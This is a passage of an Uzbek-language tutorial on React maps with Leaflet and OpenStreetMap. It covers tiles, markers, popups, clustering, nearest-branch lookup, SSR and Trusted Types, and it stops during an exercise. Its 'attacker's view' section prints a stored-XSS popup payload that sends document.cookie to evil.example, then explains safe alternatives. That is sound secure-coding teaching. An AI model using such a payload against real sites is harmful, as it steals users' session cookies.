Mundarija (30)
- Bu darsda
- 1. Nega bu kerak?
- 2. Xarita qanday ishlaydi: plitkalar
- 2.1 Masshtab va plitka manzili
- 2.2 OSM plitkalarining qoidalari
- 3. react-leaflet: birinchi xarita
- 3.1 O'rnatish va to'rt komponent
- 3.2 Tuzoq: center o'zgarsa, xarita siljimaydi
- 3.3 Ichkarida: ref, effekt va cleanup
- 4. O'quv modeli: marker va popup kutubxonasiz
- 5. Marker ikonkasi yo'qoladi
- 6. Ko'p marker: klasterlash
- 7. Foydalanuvchi joylashuvi va eng yaqin filial
- 7.1 Geolocation API — qisqa takror
- 7.2 Eng yaqinini hisoblash
- 8. SSR: window is not defined
- 9. Biz sinab ko'rdik: hajm, CSP va Trusted Types
- 9.1 Kanon o'lchovi
- 9.2 Nega import paytidayoq yiqiladi
- 9.3 Yechim va uning narxi
- 10. Hujumchi nigohi
- 11. Ko'p uchraydigan xatolar
- 12. Mashqlar
- 1-mashq (oson): bo'sh joylarni to'ldiring
- 2-mashq (o'rta): radius ichidagi filiallar
- 3-mashq (qiyin): ekranga qaysi plitkalar kerak?
- 4-mashq: tajriba qadami (ixtiyoriy)
- 13. Real ishda
- Xulosa
- Manbalar
Leaflet va OpenStreetMap React'da: react-leaflet bilan xarita, marker, popup va joylashuv
Qisqacha: Veb-xarita — 256×256 pikselli rasmlar (plitkalar) to'ri: har masshtabda dunyo 2^z × 2^z bo'lakka bo'linadi. Leaflet shu plitkalarni yuklaydi, siljitish va masshtabni boshqaradi. react-leaflet uni React komponentlariga o'raydi:
<MapContainer>,<TileLayer>,<Marker>,<Popup>. OpenStreetMap plitkalari kalitsiz va bepul, lekin atribusiya majburiy va og'ir yuklama taqiqlangan. Kanon o'lchovi: +43.8 KB JS va +6.4 KB CSS. Leafletvazifalarning Trusted Types siyosatida import paytidayoq yiqiladi.
Bu darsda
- Plitka, masshtab (zoom) va koordinata qanday bog'langanini hisoblab ko'rsatasiz.
- react-leaflet bilan xarita, marker va popup qo'yasiz,
useMapbilan xaritani boshqarasiz. - Marker ikonkasi nega yo'qolishini tushuntirasiz va tuzatasiz.
- Ko'p markerni klasterlaysiz va foydalanuvchiga eng yaqin filialni topasiz.
- SSR va qattiq CSP'da Leaflet nega yiqilishini bilasiz va yo'lini tanlaysiz.
Oldin bilishingiz kerak: Permissions, Notifications va Geolocation, useRef II: DOM elementlari va ref prop, Grafiklar II, XSS va DOM xavfsizligi, Vite IV: assetlar.
1. Nega bu kerak?
«Bahor»ning endi to'rtta filiali bor: Chilonzor, Sergeli, Yunusobod va Mirzo Ulug'bek. Mehmonlar Telegram'da bir xil savolni so'raydi: "Menga eng yaqini qaysi?". Sahifaga manzillar ro'yxati yetmaydi — xarita kerak.
Birinchi o'ylaydigan yo'l — Google Maps. Lekin u uchun hisob, API kalit va to'lov kartasi kerak (keyingi darsda ko'ramiz). Kichik loyihada bular ortiqcha.
Leaflet — ochiq kodli, bepul xarita kutubxonasi. OpenStreetMap (OSM) — ko'ngillilar chizgan ochiq dunyo xaritasi, Vikipediyaga o'xshash. Ikkalasi birga — kalitsiz, hisobsiz xarita.
Hayotiy o'xshatish: devordagi kafel. Xarita bitta katta rasm emas — ko'p kichik kafellardan teriladi. Ekranga qaysi kafellar tushsa, faqat o'shalar olib kelinadi. Yaqinlashtirsangiz — mayda, batafsil kafellar keladi.
2. Xarita qanday ishlaydi: plitkalar
2.1 Masshtab va plitka manzili
Plitka (tile) — 256×256 pikselli rasm. Masshtab (zoom) 0 da butun dunyo bitta plitkada. Har qadamda har plitka to'rtga bo'linadi: zoom 1 da 2×2, zoom 2 da 4×4. Umuman — 2^z × 2^z.
Plitka manzili uch sondan iborat: z/x/y. OSM'da: https://tile.openstreetmap.org/{z}/{x}/{y}.png. Koordinatadan plitkani topish — oddiy formula (Web Mercator proyeksiyasi, Yer sharini tekis to'rtburchakka "yoyish"):
function toTile(lat, lng, zoom) {
const n = 2 ** zoom; // shu zoom'da bir qatordagi plitkalar soni
const x = Math.floor(((lng + 180) / 360) * n);
const rad = (lat * Math.PI) / 180;
const merc = Math.log(Math.tan(rad) + 1 / Math.cos(rad));
const y = Math.floor(((1 - merc / Math.PI) / 2) * n);
return { x, y };
}
for (const z of [0, 5, 13, 18]) {
const { x, y } = toTile(41.3111, 69.2797, z);
const n = 2 ** z;
console.log(`zoom ${z}: ${n}×${n} plitka, ${z}/${x}/${y}.png`);
}Konsolda:
zoom 0: 1×1 plitka, 0/0/0.png
zoom 5: 32×32 plitka, 5/22/11.png
zoom 13: 8192×8192 plitka, 13/5672/3061.png
zoom 18: 262144×262144 plitka, 18/181519/97983.png41.3111, 69.2797 — Toshkent markazi (Amir Temur xiyoboni atrofi). Kenglik (latitude, lat) — ekvatordan shimolga, uzoqlik (longitude, lng) — Grinvichdan sharqqa (Geolocation darsidagi atamalar).
Zoom 13 da bitta qatorda 8 192 plitka, jami 67 million. Zoom 18 da — 68 milliarddan ko'p. Hech kim ularni oldindan saqlamaydi: server plitkani so'ralganda chizadi va keshlaydi. Shuning uchun plitka serveri — qimmat resurs.
Xaritani siljitganingizda nima bo'ladi:
sequenceDiagram
participant U as Foydalanuvchi
participant L as Leaflet
participant S as Plitka serveri
U->>L: siljitdi / zoom +
L->>L: ekranga qaysi z/x/y tushadi?
L->>S: GET /13/5672/3061.png (+ qo'shnilari)
S-->>L: PNG (keshdan yoki yangi chizilgan)
L->>U: rasmlarni to'rga teradiDiagrammadagi ikkinchi qadamga qarang: Leaflet faqat ekranga tushadigan plitkalarni so'raydi. Telefon ekraniga odatda 6–12 tasi tushadi.
2.2 OSM plitkalarining qoidalari
tile.openstreetmap.org — bepul, lekin ko'ngillilar xayriyasi bilan ishlaydi. Uning foydalanish siyosati (operations.osmfoundation.org/policies/tiles) asosiy talablari:
- Atribusiya majburiy — xaritada ko'rinadigan joyda "© OpenStreetMap" yozuvi. Menyuga yashirish mumkin emas.
- Og'ir yuklama taqiqlangan — server ishiga xalal bersangiz, ogohlantirishsiz to'sib qo'yilasiz.
- Oldindan yuklab olish taqiqlangan — ko'rinmayotgan plitkalarni yig'ish, oflayn xarita taklif qilish — yo'q.
- Faqat HTTPS manzil va to'g'ri
Referersarlavhasi (brauzer uni o'zi yuboradi — o'chirib qo'ymang).
Kichik sayt yoki o'quv loyihasi uchun bu yetarli. Ko'p foydalanuvchili ilovada esa o'z plitka serveringiz yoki tijoriy provayder kerak — buni keyingi darsda ko'ramiz.
Tekshirib ko'ring: «Bahor» ilovasiga "Xaritani oflayn saqlash" tugmasini qo'shmoqchisiz: Toshkentning zoom 16 gacha hamma plitkasini yuklab oladi. OSM serverida mumkinmi?
Javob
Yo'q. Siyosat ko'rinmayotgan plitkalarni oldindan yuklashni va oflayn xarita taklif qilishni taqiqlaydi. Har foydalanuvchi minglab plitka so'raydi — bu og'ir yuklama. Oflayn xarita uchun o'z serveringizdagi plitkalar yoki vektor plitkalar kerak.
3. react-leaflet: birinchi xarita
3.1 O'rnatish va to'rt komponent
Leaflet saytdagi natija oynasida yo'q — keyinroq ko'rasiz, u xavfsizlik siyosatimiz bilan sig'masdi. Shuning uchun bu bo'limdagi kod — o'z loyihangiz uchun. Kanon tajribasida o'lchangan versiyalar:
npm i -E leaflet@1.9.4 react-leaflet@5.0.0
npm i -D -E @types/leafletEng kichik xarita (kanon tajribasidagi kod, kengaytirilgan):
import {
MapContainer,
TileLayer,
Marker,
Popup,
} from "react-leaflet";
import "leaflet/dist/leaflet.css";
const TASHKENT: [number, number] = [41.3111, 69.2797];
const OSM_LINK =
'<a href="https://osm.org/copyright">OpenStreetMap</a>';
export function BranchMap() {
return (
<MapContainer
center={TASHKENT}
zoom={12}
style={{ height: 320 }}
scrollWheelZoom={false}
>
<TileLayer
url="https://tile.openstreetmap.org/{z}/{x}/{y}.png"
attribution={`© ${OSM_LINK}`}
/>
<Marker position={[41.364, 69.287]}>
<Popup>Yunusobod filiali, 09:00–23:00</Popup>
</Marker>
</MapContainer>
);
}To'rt narsa muhim:
leaflet/dist/leaflet.css— usiz plitkalar tartibsiz sochilib ketadi. Leaflet joylashuvni CSS bilan qiladi.- Balandlik —
MapContainerbo'shdivyasaydi. Balandlik bermasangiz, u 0 piksel — xarita ko'rinmaydi, xato ham chiqmaydi. - Koordinata tartibi — Leaflet'da
[lat, lng]: avval kenglik. Keyingi darsda boshqa kutubxonalar teskarisini kutishini ko'ramiz. scrollWheelZoom={false}— sahifani g'ildirak bilan aylantirayotgan odam tasodifan xaritani kattalashtirmasin.
<Popup> ichidagi matn — oddiy React bolasi. react-leaflet uni portal bilan Leaflet popup'ining ichiga chizadi. Buni manba kodida ko'rdik: createPortal(props.children, contentNode). Shuning uchun popup ichida tugma, havola, hatto state ham ishlaydi.
3.2 Tuzoq: center o'zgarsa, xarita siljimaydi
Filial tanlanganda xaritani o'shanga siljitmoqchisiz. Birinchi urinish — center={selected} ni state'dan berish. Xarita joyidan qimirlamaydi.
Sababi react-leaflet manbasida: MapContainer Leaflet xaritasini bir marta, birinchi chizishda yaratadi. center va zoom faqat shu paytda o'qiladi, keyingi o'zgarishlari e'tiborsiz qoladi. Bu prop'lar — "boshlang'ich qiymat", xuddi <input defaultValue> kabi (controlled va uncontrolled).
To'g'ri yo'l — xarita nusxasini olib, uning metodini chaqirish. useMap() hook'i shuni beradi, lekin faqat MapContainer ichidagi komponentda:
import { useEffect } from "react";
import { useMap } from "react-leaflet";
function FlyTo({ position }: { position: [number, number] }) {
const map = useMap();
useEffect(() => {
map.flyTo(position, 15); // silliq uchib boradi
}, [map, position]);
return null; // hech narsa chizmaydi, faqat boshqaradi
}
// <MapContainer …>
// <TileLayer … />
// <FlyTo position={selected} />
// </MapContainer>Xarita hodisalari uchun ham hook bor: useMapEvents({ click(e) { … } }). Ichida map.on(...) va cleanup'da map.off(...) — manba kodida aynan shunday.
3.3 Ichkarida: ref, effekt va cleanup
useRef II darsida va'da bergan edik: uchinchi tomon kutubxonasi DOM elementini talab qilsa, nusxa effektda yaratiladi va cleanup'da o'chiriladi. Leaflet'ni react-leaflet'siz ulasak:
import { useEffect, useRef } from "react";
import L from "leaflet";
import "leaflet/dist/leaflet.css";
export function PlainMap() {
const boxRef = useRef<HTMLDivElement>(null);
useEffect(() => {
const map = L.map(boxRef.current!);
map.setView([41.3111, 69.2797], 12);
L.tileLayer("https://tile.openstreetmap.org/{z}/{x}/{y}.png", {
attribution: "© OpenStreetMap",
}).addTo(map);
return () => map.remove(); // cleanup — majburiy
}, []);
return <div ref={boxRef} style={{ height: 320 }} />;
}Cleanup'ni unutsangiz, StrictMode effektni ikki marta ishga tushiradi. Ikkinchi L.map o'sha div ga uriladi va Leaflet xato tashlaydi. Biz uni jsdom'da Leaflet 1.9.4 bilan oldik:
Error: Map container is already initialized.Tarjimasi: "Xarita konteyneri allaqachon ishga tushirilgan". map.remove() xaritani to'liq o'chiradi: hodisalar, plitkalar, belgi — keyingi L.map toza div ga tushadi. react-leaflet ham ichida xuddi shunday qiladi: ref callback'da new LeafletMap(node), effekt cleanup'ida map.remove().
4. O'quv modeli: marker va popup kutubxonasiz
Leaflet natija oynasida yo'q. Marker va popup g'oyasini kutubxonasiz o'quv modelida sinab ko'ramiz. Har marker — koordinatasi pikselga aylantirilgan tugma. Bosilsa, ostida popup ochiladi:
import { useState } from "react";
const BRANCHES = [
{ name: "Chilonzor", lat: 41.2756, lng: 69.2034, hours: "9-23" },
{ name: "Sergeli", lat: 41.227, lng: 69.219, hours: "10-22" },
{ name: "Yunusobod", lat: 41.364, lng: 69.287, hours: "9-23" },
{ name: "Mirzo Ulug'bek", lat: 41.338, lng: 69.334, hours: "8-22" },
];
const CENTER = { lat: 41.3, lng: 69.27 };
const ZOOM = 11;
// dunyo pikseli: shu zoom'da butun dunyo 256 × 2^zoom piksel
function toPixel(lat, lng, zoom) {
const size = 256 * 2 ** zoom;
const rad = (lat * Math.PI) / 180;
const merc = Math.log(Math.tan(rad) + 1 / Math.cos(rad));
return {
x: ((lng + 180) / 360) * size,
y: ((1 - merc / Math.PI) / 2) * size,
};
}
export default function App() {
const [open, setOpen] = useState(null);
const c = toPixel(CENTER.lat, CENTER.lng, ZOOM);
return (
<div style={{ position: "relative", width: 300, height: 220,
background: "#e5efe8", overflow: "hidden" }}>
{BRANCHES.map((b) => {
const p = toPixel(b.lat, b.lng, ZOOM);
const left = 150 + p.x - c.x; // xarita markazi — 150, 110
const top = 110 + p.y - c.y;
return (
<button
key={b.name}
type="button"
aria-expanded={open === b.name}
onClick={() => setOpen(b.name)}
style={{ position: "absolute", left, top, fontSize: 11 }}
>
{b.name}
</button>
);
})}
{open && (
<p role="status" style={{ position: "absolute", bottom: 0 }}>
{open} filiali,{" "}
{BRANCHES.find((b) => b.name === open).hours}
</p>
)}
</div>
);
}Ekranda (Yunusobod bosildi):
ChilonzorSergeliYunusobodMirzo Ulug'bek
Yunusobod filiali, 9-23Birinchi qatorda nomlar yopishib qolgan — tekshiruvchi tugmalarni bitta qatorga teradi, ekranda esa ular har xil joyda turadi. «Ishga tushir» ni bosing: yashil maydonda to'rtta tugma, Yunusobod — tepada, Sergeli — pastda, xuddi xaritadagidek. Bu joylashuv toPixel ning ishi: u «Plitkalar» bo'limidagi formulaning o'zi, faqat plitka raqami emas, piksel qaytaradi. Markerning ekrandagi joyi = uning pikseli − markaz pikseli + oyna markazi.
Leaflet aynan shuni qiladi, ustiga plitkalar, siljitish va animatsiya qo'shadi. Marker'ni tugma qilishimiz ham tasodif emas: Leaflet 1.9 markerlari klaviatura bilan fokuslanadi va Enter bilan popup ochadi. O'zingiz yasagan markerda ham shunday bo'lsin — Bobur xaritani faqat klaviatura bilan ishlatadi.
5. Marker ikonkasi yo'qoladi
Vite loyihada react-leaflet'ni ulaysiz — xarita bor, marker o'rnida esa "singan rasm" belgisi. Bu Leaflet'ning eng mashhur muammosi.
Sabab Leaflet manba kodida (_detectIconPath). Standart ikonka manzilini Leaflet CSS'dan taxmin qiladi: leaflet.css da .leaflet-default-icon-path { background-image: url(images/marker-icon.png) } bor. Leaflet shu sinfli bo'sh div yasaydi, fon manzilini o'qiydi va oxiridan marker-icon.png ni kesib, papkani topadi.
Bundler esa bu manzilni o'zgartiradi (Vite IV: assetlar): kichik rasmni data: satriga aylantiradi, kattasiga xesh qo'shadi (marker-icon-B2k9.png). Taxmin ishlamaydi, Leaflet ikonkani shunchaki marker-icon.png deb so'raydi — va 404 oladi.
Biz buni esbuild bilan yig'ib, Chrome 155 da tekshirdik: markerning src — marker-icon.png, rasm eni — 0 (yuklanmadi). Tuzatish — rasmlarni o'zingiz import qilib berish:
import L from "leaflet";
import iconUrl from "leaflet/dist/images/marker-icon.png";
import iconRetinaUrl from "leaflet/dist/images/marker-icon-2x.png";
import shadowUrl from "leaflet/dist/images/marker-shadow.png";
L.Icon.Default.mergeOptions({ iconUrl, iconRetinaUrl, shadowUrl });Shundan keyin src — data:image/png;base64,…, rasm eni 25 piksel. Eski maqolalarda bundan oldin delete L.Icon.Default.prototype._getIconUrl qatorini ko'rasiz — 1.9.4 da u shart emas, lekin zarar ham qilmaydi.
O'z ikonkangiz kerak bo'lsa — L.icon({ iconUrl, iconSize: [32, 32], iconAnchor: [16, 32] }) va <Marker icon={…}>. iconAnchor — rasmning qaysi nuqtasi koordinataga tushadi. Pin uchun bu — pastki o'rta nuqta, aks holda marker "suzib" yuradi.
Diqqat:
L.divIcon({ html: "…" })— HTML satrli ikonka. Leaflet uniinnerHTMLbilan qo'yadi. Foydalanuvchi matni tushsa — XSS, Trusted Types'da esa buzilish.
6. Ko'p marker: klasterlash
«Bahor» filiallari to'rtta. Lekin "Toshkentdagi hamma choyxonalar" — 500 ta. Zoom 10 da ular bir-birining ustiga tushib, qora dog'ga aylanadi.
Klasterlash (clustering) — yaqin markerlarni bitta doiraga yig'ish: "12". Yaqinlashtirsangiz, doira bo'linadi. Eng sodda usul — to'r: ekranni 80×80 piksellik kataklarga bo'lamiz, bir katakka tushganlar — bitta klaster. Zoom o'zgarsa, piksellar o'zgaradi va guruhlar ham:
import { useState } from "react";
const BRANCHES = [
{ name: "Chilonzor", lat: 41.2756, lng: 69.2034 },
{ name: "Sergeli", lat: 41.227, lng: 69.219 },
{ name: "Yunusobod", lat: 41.364, lng: 69.287 },
{ name: "Mirzo Ulug'bek", lat: 41.338, lng: 69.334 },
];
function toPixel(lat, lng, zoom) {
const size = 256 * 2 ** zoom;
const rad = (lat * Math.PI) / 180;
const merc = Math.log(Math.tan(rad) + 1 / Math.cos(rad));
return {
x: ((lng + 180) / 360) * size,
y: ((1 - merc / Math.PI) / 2) * size,
};
}
function cluster(points, zoom, cell = 80) {
const groups = new Map();
for (const p of points) {
const { x, y } = toPixel(p.lat, p.lng, zoom);
const key = `${Math.floor(x / cell)}:${Math.floor(y / cell)}`;
groups.set(key, [...(groups.get(key) ?? []), p.name]);
}
return [...groups.values()];
}
export default function App() {
const [zoom, setZoom] = useState(12);
const groups = cluster(BRANCHES, zoom);
return (
<section>
<button type="button" onClick={() => setZoom((z) => z - 1)}>
−
</button>{" "}
<button type="button" onClick={() => setZoom((z) => z + 1)}>
+
</button>
<p>Zoom {zoom}: {groups.length} ta belgi</p>
<ul>
{groups.map((g) => (
<li key={g.join()}>
{g.length > 1 ? `(${g.length}) ${g.join(", ")}` : g[0]}
</li>
))}
</ul>
</section>
);
}Ekranda ("−" bosildi — zoom 11):
− +
Zoom 11: 3 ta belgi
Chilonzor
Sergeli
(2) Yunusobod, Mirzo Ulug'bekZoom 11 da Yunusobod va Mirzo Ulug'bek bitta katakka tushdi — ekranda ular orasi 80 pikseldan kam. Yana bir marta "−" bossangiz (zoom 10), Chilonzor va Sergeli ham juftlashadi, zoom 9 da esa to'rttasi bitta "(4)" bo'ladi. "+" bilan zoom 12 ga qaytsangiz — to'rtta alohida belgi.
Haqiqiy loyihada bu ishni kutubxona qiladi. Leaflet uchun eng mashhuri — Leaflet.markercluster, React'da uning o'ramlari bor (masalan react-leaflet-cluster). Ular to'r emas, aqlliroq algoritm ishlatadi va doirani bosganda yaqinlashtiradi. Minglab nuqtada Supercluster (Mapbox'ning ochiq kutubxonasi) tezroq. Bu kutubxonalarni kanon o'lchamadi — hajmini o'zingiz o'lchang.
Tekshirib ko'ring: Nega klasterni kilometr bilan emas, ekran pikseli bilan hisoblaymiz?
Javob
Muammo — ekranda ustma-ust tushish, u esa piksellarda o'lchanadi. 2 km zoom 9 da bir necha piksel, zoom 15 da yuzlab piksel. Kilometr bilan hisoblasak, uzoqdan qaraganda markerlar baribir ustma-ust tushadi, yaqindan esa bekordan-bekor birlashadi. Piksel esa zoom bilan o'zi o'zgaradi.
7. Foydalanuvchi joylashuvi va eng yaqin filial
7.1 Geolocation API — qisqa takror
Geolocation darsida ko'rganimiz: navigator.geolocation.getCurrentPosition(onSuccess, onError, options). Faqat HTTPS (yoki localhost) sahifada, faqat foydalanuvchi ruxsat bersa ishlaydi. Xato kodlari: 1 — ruxsat berilmadi, 2 — joylashuv aniqlanmadi, 3 — vaqt tugadi.
Ruxsatni sahifa ochilishi bilan emas, foydalanuvchi tugmani bosganda so'rang ("Menga eng yaqinini top"). Brauzer oynasi kutilmaganda chiqsa, odamlar "Bloklash" ni bosadi — keyin qaytarish qiyin.
Leaflet'da qisqa yo'l bor: map.locate({ setView: true, maxZoom: 15 }) va locationfound/locationerror hodisalari. react-leaflet bilan:
import { useState } from "react";
import { Marker, Popup, useMapEvents } from "react-leaflet";
import type { LatLng } from "leaflet";
function LocateMe() {
const [pos, setPos] = useState<LatLng | null>(null);
const map = useMapEvents({
locationfound(e) {
setPos(e.latlng);
map.flyTo(e.latlng, 15);
},
locationerror(e) {
console.warn("Joylashuv aniqlanmadi:", e.message);
},
});
return (
<>
<button type="button" onClick={() => map.locate()}>
Men qayerdaman?
</button>
{pos && (
<Marker position={pos}>
<Popup>Siz shu yerdasiz</Popup>
</Marker>
)}
</>
);
}7.2 Eng yaqinini hisoblash
Ikki nuqta orasidagi masofa — Yer sferasi bo'yicha haversine formulasi. Natija oynasida joylashuv so'rab bo'lmaydi (sandbox), shuning uchun "joylashuv beruvchi" funksiyani soxta qilamiz — 200 ms kutib, Amir Temur xiyobonini qaytaradi. Haqiqiy ilovada uning o'rnida getCurrentPosition turadi:
import { useState } from "react";
const BRANCHES = [
{ name: "Chilonzor", lat: 41.2756, lng: 69.2034 },
{ name: "Sergeli", lat: 41.227, lng: 69.219 },
{ name: "Yunusobod", lat: 41.364, lng: 69.287 },
{ name: "Mirzo Ulug'bek", lat: 41.338, lng: 69.334 },
];
// haversine: sfera bo'yicha masofa, km
function distanceKm(a, b) {
const rad = (d) => (d * Math.PI) / 180;
const dLat = rad(b.lat - a.lat);
const dLng = rad(b.lng - a.lng);
const h =
Math.sin(dLat / 2) ** 2 +
Math.cos(rad(a.lat)) *
Math.cos(rad(b.lat)) *
Math.sin(dLng / 2) ** 2;
return 2 * 6371 * Math.asin(Math.sqrt(h));
}
// soxta joylashuv (o'quv): haqiqiysi — navigator.geolocation
function fakeGetPosition() {
return new Promise((resolve) =>
setTimeout(() => resolve({ lat: 41.3111, lng: 69.2797 }), 200),
);
}
export default function App() {
const [status, setStatus] = useState("idle");
const [list, setList] = useState([]);
async function findNearest() {
setStatus("loading");
const me = await fakeGetPosition();
const sorted = BRANCHES.map((b) => ({
...b,
km: distanceKm(me, b),
})).toSorted((x, y) => x.km - y.km);
setList(sorted);
setStatus("done");
}
return (
<section>
<button type="button" onClick={findNearest}>
Eng yaqin filial
</button>
{status === "loading" && <p role="status">Aniqlanmoqda…</p>}
<ol>
{list.map((b) => (
<li key={b.name}>
{b.name} — {b.km.toFixed(1)} km
</li>
))}
</ol>
</section>
);
}Ekranda:
Eng yaqin filial
Mirzo Ulug'bek — 5.4 km
Yunusobod — 5.9 km
Chilonzor — 7.5 km
Sergeli — 10.6 kmekran("Aniqlanmoqda") qadami oraliq holatni tekshirdi: 200 ms davomida "Aniqlanmoqda…" ko'rindi. Natija — "to'g'ri chiziq" masofasi. Yo'l bo'yicha masofa boshqacha (ko'cha, ko'prik) — buni marshrut xizmati hisoblaydi, keyingi darsda.
Joylashuv — shaxsiy ma'lumot. Uni serverga yubormasdan, brauzerning o'zida hisoblash mumkin bo'lsa — shunday qiling (yuqoridagi kod aynan shunday). Yuborsangiz, maxfiylik siyosatida yozing va kerakli aniqlikkacha yaxlitlang.
8. SSR: window is not defined
Leaflet modul yuklanishi bilanoq brauzer obyektlariga murojaat qiladi. Manba kodida inlineSvg tekshiruvi modul darajasida: document.createElement("div"). Serverda (Node) window va document yo'q. Biz Node 24 da import("leaflet") qilib ko'rdik:
ReferenceError: window is not definedreact-leaflet ham xuddi shu xatoni berdi — u Leaflet'ni import qiladi. Vite SPA'da bu muammo emas: kod faqat brauzerda ishlaydi. Server tomonda chizadigan frameworklarda esa (Next.js — 23-qism) xarita komponenti faqat brauzerda yuklanishi kerak. Next.js'da buning yo'li — dynamic(() => import("./BranchMap"), { ssr: false }), va u client komponent ichida yoziladi. Hozircha bilish shart emas — o'sha qismda to'liq ko'ramiz.
Vite'da ham xaritani kech yuklash foydali: 43.8 KB JS va 6.4 KB CSS faqat xarita sahifasiga kerak.
9. Biz sinab ko'rdik: hajm, CSP va Trusted Types
9.1 Kanon o'lchovi
Xom natija (kutubxonalar-21.txt), xato matni qisqartirilgan:
xarita-leaflet JS 112522 (+ 43.8 KB) CSS 6363 | CSP require-trusted-types-for×1
xato: Failed to set the 'innerHTML' property on 'Element': … 'TrustedHTML' …
ochiq: tashqi tile.openstreetmap.orgCSP ostida xarita umuman chizilmadi (0 element). CSP'siz — chizildi va plitkalar tile.openstreetmap.org dan keldi. Demak, vazifalar ga Leaflet qo'shish uchun ikki narsa kerak: img-src ga plitka serveri va Trusted Types masalasi yechimi.
9.2 Nega import paytidayoq yiqiladi
Biz chuqurroq qazidik. Faqat bitta qatorli fayl — import L from "leaflet" — kanon CSP'si ostida ham yiqildi. Sabab — o'sha inlineSvg tekshiruvi: Leaflet brauzer SVG'ni qo'llashini bilish uchun div.innerHTML = '<svg/>' qiladi. Bu modul yuklanganda, hali biror xarita yaratilmasdan bajariladi.
Leaflet innerHTML ni yana qayerda ishlatadi? Buni bilish uchun CSP'ni kengaytirdik (trusted-types vazifalar default) va o'tkazib yuboruvchi default siyosat qo'ydik — u har satrni yozib boradi. Xarita ishladi, siyosat 7 ta satrni ko'rdi: <svg/>, zoom tugmalari (+, −), atribusiya yozuvi (ikki marta), popup yopish belgisi × va popup matni «Bahor».
9.3 Yechim va uning narxi
default siyosat — Trusted Types'ning "hamma narsa uchun" eshigi: dasturchi aniq siyosat bermagan har innerHTML shu yerdan o'tadi. Uni oddiy o'tkazib yuboruvchi qilsak, Trusted Types amalda o'chadi — o'z kodimizdagi xatoni ham endi u ushlamaydi. To'g'ri yo'l — default ichida tozalash (DOMPurify) va ruxsat ro'yxati. Bu esa yana kutubxona va murakkablik.
Kanon qarori — vazifalar ga xarita qo'shilmadi: vazifada joylashuv maydoni yo'q. Agar kerak bo'lsa, tanlov raqamlar bilan tayyor: +43.8 KB, img-src https://tile.openstreetmap.org, va Trusted Types uchun default siyosat — xavfsizlik ko'rigi bilan.
10. Hujumchi nigohi
Popup — xaritadagi eng xavfli joy. Leaflet'ning o'z API'sida popup matni HTML sifatida qo'yiladi. Filial nomini foydalanuvchi kiritadigan bo'lsa (masalan, "o'z joyingizni qo'shing" formasi):
// ❌ XSS: name — foydalanuvchidan
marker.bindPopup(place.name);
// name = '<img src=x onerror="fetch(`//evil.example/?" +
// "c=${document.cookie}`)">' — o'qish uchun ikkiga bo'lindibindPopup satrni innerHTML ga beradi — rasm xatosi skriptni ishga tushiradi. Bu XSS, saqlangan turdagi: har mehmon popup'ni ochganda ishlaydi.
Himoya:
- react-leaflet
<Popup>{place.name}</Popup>— matn React bolasi, portal orqali chiziladi va ekranlanadi. Xavfsiz. - Toza Leaflet'da —
bindPopup(() => { const el = document.createElement("span"); el.textContent = place.name; return el; }): satr emas, DOM elementi. L.divIcon({ html })vaL.tooltipmatnida ham xuddi shu qoida.- Trusted Types bu xatoni ishlab chiqarishda ushlaydi — shuning uchun
defaultsiyosatni "hammasini o'tkazuvchi" qilmang.
11. Ko'p uchraydigan xatolar
| Belgi | Sabab | Davosi |
|---|---|---|
| xarita ko'rinmaydi, xato yo'q | konteyner balandligi 0 | style={{ height: 320 }} |
| plitkalar sochilgan, bo'lak-bo'lak | leaflet.css ulanmagan |
import "leaflet/dist/leaflet.css" |
| marker o'rnida singan rasm | bundler ikonka manzilini o'zgartirdi | L.Icon.Default.mergeOptions({ … }) |
center o'zgardi, xarita joyida |
MapContainer prop'lari faqat boshlang'ich |
useMap() + flyTo |
Error: Map container is already initialized. |
effektda cleanup yo'q | return () => map.remove() |
useMap xato beradi |
komponent MapContainer dan tashqarida |
ichiga ko'chiring |
| Marker Afrika yaqinida | [lng, lat] berilgan |
Leaflet — [lat, lng] |
ReferenceError: window is not defined |
Leaflet serverda import qilindi | faqat brauzerda yuklang |
Failed to set the 'innerHTML' property … TrustedHTML |
Leaflet innerHTML ishlatadi |
CSP qarori (yuqorida) |
12. Mashqlar
Mashqlar kurs/mashqlar/21/06-leaflet/ da. Jonli yechimlarni «Ishga tushir» bilan sinang.
1-mashq (oson): bo'sh joylarni to'ldiring
- Zoom 3 da dunyo nechta plitka:
- Leaflet'da koordinata tartibi: avval
- Xarita nusxasini olish uchun react-leaflet hook'i:
- Effekt cleanup'ida xaritani o'chiradigan metod:
- OSM plitkalari bilan majburiy yozuv:
Yechim
- 64 — 2³ × 2³ = 8 × 8.
- lat —
[lat, lng]: kenglik, keyin uzoqlik. - useMap — faqat
MapContainerichidagi komponentda. - remove —
map.remove()hodisalar va plitkalarni tozalaydi. - atribusiya — "© OpenStreetMap" ko'rinadigan joyda.
2-mashq (o'rta): radius ichidagi filiallar
«Eng yaqinini hisoblash» bo'limidagi distanceKm va BRANCHES dan foydalanib, komponent yozing:
- Ikki tugma: «6 km» va «8 km».
- Bosilganda shu radius ichidagi filiallar
<li>da chiqsin (markaz —41.3111, 69.2797), yonida masofa bir kasr xona bilan. - Ro'yxat ustida
<p>:6 km ichida: 2 ta.
Ishora: filter va toFixed(1).
Yechim
import { useState } from "react";
const BRANCHES = [
{ name: "Chilonzor", lat: 41.2756, lng: 69.2034 },
{ name: "Sergeli", lat: 41.227, lng: 69.219 },
{ name: "Yunusobod", lat: 41.364, lng: 69.287 },
{ name: "Mirzo Ulug'bek", lat: 41.338, lng: 69.334 },
];
const ME = { lat: 41.3111, lng: 69.2797 };
function distanceKm(a, b) {
const rad = (d) => (d * Math.PI) / 180;
const dLat = rad(b.lat - a.lat);
const dLng = rad(b.lng - a.lng);
const h =
Math.sin(dLat / 2) ** 2 +
Math.cos(rad(a.lat)) *
Math.cos(rad(b.lat)) *
Math.sin(dLng / 2) ** 2;
return 2 * 6371 * Math.asin(Math.sqrt(h));
}
export default function App() {
const [radius, setRadius] = useState(6);
const inside = BRANCHES.map((b) => ({
...b,
km: distanceKm(ME, b),
})).filter((b) => b.km <= radius);
return (
<section>
{[6, 8].map((r) => (
<button key={r} type="button" onClick={() => setRadius(r)}>
{r} km
</button>
))}
<p>{radius} km ichida: {inside.length} ta</p>
<ul>
{inside.map((b) => (
<li key={b.name}>
{b.name} — {b.km.toFixed(1)} km
</li>
))}
</ul>
</section>
);
}Ekranda:
6 km8 km
8 km ichida: 3 ta
Chilonzor — 7.5 km
Yunusobod — 5.9 km
